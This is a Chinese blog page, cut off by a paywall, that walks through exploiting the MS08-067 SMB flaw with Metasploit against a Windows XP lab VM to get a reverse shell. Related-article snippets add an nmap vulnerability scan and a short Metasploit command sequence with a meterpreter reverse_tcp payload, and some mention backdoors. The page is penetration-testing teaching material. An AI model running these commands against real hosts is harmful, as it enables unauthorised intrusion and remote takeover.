ms08_067漏洞的使用艺术

最新推荐文章于 2025-06-26 20:42:54 发布
最新推荐文章于 2025-06-26 20:42:54 发布
阅读量1w 收藏 13
点赞数 3
CC 4.0 BY-SA版权
分类专栏： metasploit 文章标签： 虚拟机 windows xp 漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_34841823/article/details/53120195

ms08_067漏洞是的著名远程溢出漏洞，它的影响范围非常大，甚至一些vista的系统都会有这个远程溢出的漏洞。

现在我们就使用metasploit利用ms08_067漏洞对XP虚拟机进行渗透。

博主使用的是kali linux 2.0对一台windows XP SP3的虚拟机进行渗透测试。

1.使用windows/shell/reverse_tcp

首先我们先是用windows/shell_bind_tcp这个payload来结合ms08_067来测试。

先是用nmap嗅探目标主机的开放端口，因为我们知道ms08_067端口是一个在windows上445号端口的漏洞，所以要先查看目标主机该端口是否开放。
这里写图片描述
可以看到，目标主机192.168.1.128的445号端口是开放的，因此可以使用ms08_067漏洞进行exploit

打开metasploit
这里写图片描述
然后加载windows/shell/reverse_tcp这个payload，如果攻击成功的话会获得目标主机命令行的一个shell。
这里写图片描述
还要进行一些参数的设置，例如目标主机的ip设置
这里写图片描述
然后exploit就可以得到命令行的一个shell
这里写图片描述

最低0.47元/天 解锁文章

200万优质内容无限畅学
API 网关的详细使用
AI天才研究院
11-06 788
《API 网关的详细使用》 关键词： API网关、微服务、路由、负载均衡、服务熔断、性能优化、高可用性、监控与运维 摘要： 本文将深入探讨API网关的概念、核心功能、技术架构、开发与性能优化，并通过项目实践案例，详细解析API网关
《Metasploit渗透测试魔鬼训练营》MS08-067 漏洞还原与分析
Flyour的博客
05-05 2057
《Metasploit渗透测试魔鬼训练营》MS08-067 漏洞还原与分析 漏洞还原 按照书上的方法，我们还原这个漏洞，并尝试对win2k3进行渗透。 但是我尝试了好几次才成功，其中有几个小坑，这里给大家提个醒： 要保证win2k3主机的Server服务是开启状态，我的一开始就是关闭状态，导致失败了。 新版的metasploit不需要设置lhost和lport参数，当然你非要设置也可...
利用ms08-067漏洞远程控制Windowsxp
热门推荐
xyx107的博客
03-03 1万+
1、查找ms08-067：2、使用:3、选择payload：（开始我用的windows/shell/...和windows/meterpreter/reverse_tpc有区别）4、查看options（yes为必填部分）:5、输入RHOST（目标靶机）IP和LHOST的IP：6、查看适合的系统类型（简体中文sp3，编号34）：7、可选target 0（自动）或自己选择：8、exploit（图中IP...
漏洞复现：MS08_067
最新发布
2501_90131820的博客
06-26 923
摘要：本文详细记录了MS08_067漏洞（CVE-2008-4250）的复现过程，该漏洞影响Windows 2000/XP/Server 2003等系统，可通过SMB服务的445端口进行远程代码执行。复现使用Kali Linux的Metasploit框架，针对Windows Server 2003中文版需手动添加攻击模块参数。通过nmap扫描确认445端口开放后，设置攻击参数并利用漏洞成功获取系统shell权限，验证了该漏洞的危害性。文中还提及攻击过程中靶机崩溃的应对方法，以及通过添加用户实现远程连接的完整
渗透攻击MS08-067
hmysn的博客
12-22 2205
渗透攻击MS08-067
MS08-067漏洞分析
dikle的专栏
10-31 1970
近日，微软打破常规发布了MS08-067漏洞补丁。使用该漏洞，黑客可以在远程发动类似“冲击波”病毒一样的攻击。下面是攻防实验室的兄弟们做的漏洞分析报告，下午会发布一个瑞星提供的内存补丁，不愿意打微软补丁的用户，可以用这个补丁来应急。 MS08-067漏洞分析作者：瑞星互联网攻防实验室 netapi32.dll!NetpwPathCanonicalize在解析路径名时存在
攻击ms08_067漏洞
qq_43776408的博客
11-06 355
针对MSSQL数据库的攻击 寻找攻击模块:search mssql ////////////////////////////////////////// 记住三个常用组合 show payloads search ---- info ----- 第一个是列出攻击载荷 第二个是寻找相应的模块 第三个是查找相应模块的信息 建议在开始攻击前先扫描目标开放端口和漏洞 nmap -sT -A --sc...
C++调试艺术：追踪与解决ms932相关bug的技巧
![MS41929_demo程序,ms932,C,C++]...从ms932编码标准的历史、字符集使用场景，到C++程序中ms932编码的处理机制、多字节字符集关系，再到调试工具和方法论，以及bug的预防和解决策略，最后展望了ms932编码的未来
漏洞攻防三部曲：机器辅助，自动化，智能化.pdf
08-07
漏洞利用则被视为一门艺术，需要对漏洞触发、影响分析、程序语义理解、内存布局分析、安全机制绕过以及漏洞利用生成等有深入的理解。然而，即便在修复后，补丁的部署周期长，且容易出错。 以WannaCry勒索软件为例，...
MS SQL Server TDS协议v4.2新工具与调试技术：掌握最新调试艺术
[MS SQL Server TDS协议v4.2新工具与调试技术：掌握最新调试艺术](https://www.commandprompt.com/media/images/image_ZvncRjs.width-1200.png) # 摘要 本文旨在深入探讨MS SQL Server TDS协议v4.2，从其基础概念、...
ms08_067漏洞渗透步骤——MSF
渗透测试
05-20 1415
测试环境 描述 ip 主机 kali2020 192.168.1.113 目标主机 win xp sp3 192.168.1.108 ①启动msf，搜索ms08_067 msf6 > search ms08_067 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- ...
ms08-067溢出工具
10-27
ms08067 利用工具 ms08 067溢出工具 ms08-067漏洞
Kali之MSF的MS08-067漏洞复现详解
m0_59598029的博客
02-24 1420
MS08-067漏洞是2008年的一个特大漏洞，该漏洞目前早已修补。ms08_067漏洞是的著名远程溢出漏洞，它的影响范围非常大，甚至一些vista的系统都会有这个远程溢出的漏洞,主要针对的是windowsWindowsxp下载。
Metasploit 渗透测试四 | MS08-067漏洞利用
LALAAYANG的博客
10-30 700
Metasploit 渗透测试四 | MS08-067漏洞利用问题概述执行过程 问题概述 利用MS08-067漏洞，获得目标节点远程访问权限，并试图植入开机启动的后门。 执行过程 设置攻击参数： 开始攻击： 成功获取shell： ...
渗透- 基于metasploit的内网渗透 - ms08-067漏洞利用及其原理分析
joke_ljh的博客
08-31 2541
ms08-067漏洞利用 内网渗透： 利用漏洞：Ms08-067 使用工具metasploit 前提：靶机具有ms08-067漏洞（可以用nessus扫描），在同一局域网，且具有连通性。 基本命令： Use exploit/windows/smb/ms08_067_netapi Set rhost 192.168.10.2 Set lhost 192.168.10.1 Set lport 7777...
MS08-067
冷却
08-10 1069
// MS08-067 Exploit 冷却整理 // // [Microsoft Visual C++ .NET] 编译通过 // [WindowsXP SP2 简体中文纯净版] 测试通过，但成功率并不是100% // 漏洞分析参见 http://blog.youkuaiyun.com/iiprogram/article/details/3156229 #include #include #incl
MS08-067 漏洞利用与安全加固，高级网络安全程序员必会
2301_76190858的博客
04-03 2144
攻击者利用受害者主机默认开发的SMB服务的端口445 发送特殊RPC（Remote Procedure Call，远程过程调用）请求，造成可被利用并可远程执行代码。MS08_067 漏洞的全程为 “WIndows Server 服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的RPC请求。则该漏洞可能允许远程执行代码。Ms08_067_netapi 是Metasploit 中的一款溢出攻击载荷。
MS08-067（kb958644）紧急漏洞与补丁
weixin_34341229的博客
04-20 1629
2008年10月23日，微软爆出特大安全漏洞，几乎影响所有Windows系统，强烈建议广大用户及时下载安装该漏洞补丁。 成功利用该漏洞的远程***者，可能会利用此问题危及基于Microsoft Windows系统的安全，并获取对该系统的控制权。 这是微软近一年半以来首次打破每月定期发布安全公告惯例而紧急发布的更新通告。 该安全漏洞可能允许远程执行代码，如果受影响的系统收...
ms08_067漏洞复现原理
12-30
### CVE-2008-4250 (MS08-067) 漏洞工作原理 #### 背景介绍 CVE-2008-4250，也称为 MS08-067，是一个存在于 Microsoft Windows Server Service 中的远程代码执行漏洞。该服务处理来自客户端的请求时未能正确解析特定类型的 RPC 请求，从而允许未经身份验证的攻击者通过精心构建的数据包触发缓冲区溢出并执行任意代码。 #### 工作原理 当受影响的操作系统收到恶意构造的服务请求消息时，在尝试分配内存的过程中会发生整数下溢错误[^3]。这导致程序试图访问超出其权限范围之外的内存区域，进而造成堆栈破坏。如果成功利用此漏洞，则可以在目标机器上获得与本地用户相同的权限级别。 #### 影响范围 对于运行支持版本的 Windows Vista、Windows 7、Windows Server 2008 和 Windows Server 2008 R2 的系统，并且在网络级别身份验证关闭的情况下特别容易受到攻击的影响。 #### 扫描检测命令 为了检测是否存在该漏洞，可以使用 Nmap 提供的相关脚本来扫描指定 IP 地址上的 SMB 服务状态： ```bash nmap -p 445 --script=smb-vuln-ms08-067 <target_ip> ``` 上述命令会针对端口 445 上监听的服务进行测试，并报告是否有潜在的安全风险存在[^2]。 #### 利用过程概述 一旦确认了系统的脆弱性之后，通常需要借助 Metasploit 或其他类似的框架来进行实际攻击模拟实验。以下是基于 Kali Linux 平台的一个简单示例流程说明（请注意仅限于合法授权环境下的学习研究用途）: 1. 加载相应的 exploit 模块； 2. 设置目标主机地址以及 payload 类型； 3. 发起攻击操作； 具体实现细节如下所示： ```ruby use exploit/windows/smb/ms08_067_netapi set RHOSTS <target_ip> set PAYLOAD windows/meterpreter/reverse_tcp exploit ```
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值